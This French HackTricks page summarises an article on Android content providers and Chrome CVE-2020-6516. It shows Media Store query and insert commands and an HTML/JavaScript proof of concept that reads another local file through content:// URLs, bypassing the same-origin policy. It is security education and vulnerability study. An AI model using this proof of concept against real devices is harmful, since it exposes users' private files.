6.5 KiB
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.
{% embed url="https://websec.nl/" %}
Il s'agit d'un résumé de l'article https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/
Listing Files in Media Store
Pour répertorier les fichiers gérés par le Media Store, la commande ci-dessous peut être utilisée :
$ content query --uri content://media/external/file
Pour une sortie plus conviviale, affichez uniquement l'identifiant et le chemin de chaque fichier indexé :
$ content query --uri content://media/external/file --projection _id,_data
Les fournisseurs de contenu sont isolés dans leur propre espace de noms privé. L'accès à un fournisseur nécessite l'URI spécifique content://
. Les informations sur les chemins d'accès à un fournisseur peuvent être obtenues à partir des manifestes d'application ou du code source du framework Android.
Accès de Chrome aux fournisseurs de contenu
Chrome sur Android peut accéder aux fournisseurs de contenu via le schéma content://
, lui permettant d'accéder à des ressources telles que des photos ou des documents exportés par des applications tierces. Pour illustrer cela, un fichier peut être inséré dans le Media Store, puis accédé via Chrome :
Insérer une entrée personnalisée dans le Media Store :
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
Découvrez l'identifiant du fichier nouvellement inséré :
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
Le fichier peut ensuite être consulté dans Chrome en utilisant une URL construite avec l'identifiant du fichier.
Par exemple, pour répertorier les fichiers liés à une application spécifique :
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
Chrome CVE-2020-6516: Contournement de la politique de même origine
La Politique de même origine (SOP) est un protocole de sécurité dans les navigateurs qui restreint les pages web à interagir avec des ressources provenant de différentes origines, sauf si cela est explicitement autorisé par une politique de partage des ressources entre origines (CORS). Cette politique vise à prévenir les fuites d'informations et les attaques de falsification de requête inter-sites. Chrome considère content://
comme un schéma local, impliquant des règles SOP plus strictes, où chaque URL de schéma local est traitée comme une origine distincte.
Cependant, CVE-2020-6516 était une vulnérabilité dans Chrome qui permettait de contourner les règles SOP pour les ressources chargées via une URL content://
. En pratique, le code JavaScript d'une URL content://
pouvait accéder à d'autres ressources chargées via des URL content://
, ce qui constituait une préoccupation majeure en matière de sécurité, notamment sur les appareils Android exécutant des versions antérieures à Android 10, où le stockage ciblé n'était pas implémenté.
La preuve de concept ci-dessous démontre cette vulnérabilité, où un document HTML, après avoir été téléchargé sous /sdcard et ajouté au Media Store, utilise XMLHttpRequest
dans son JavaScript pour accéder et afficher le contenu d'un autre fichier dans le Media Store, contournant les règles SOP.
Preuve de concept HTML :
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
{% embed url="https://websec.nl/" %}
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!
D'autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts github.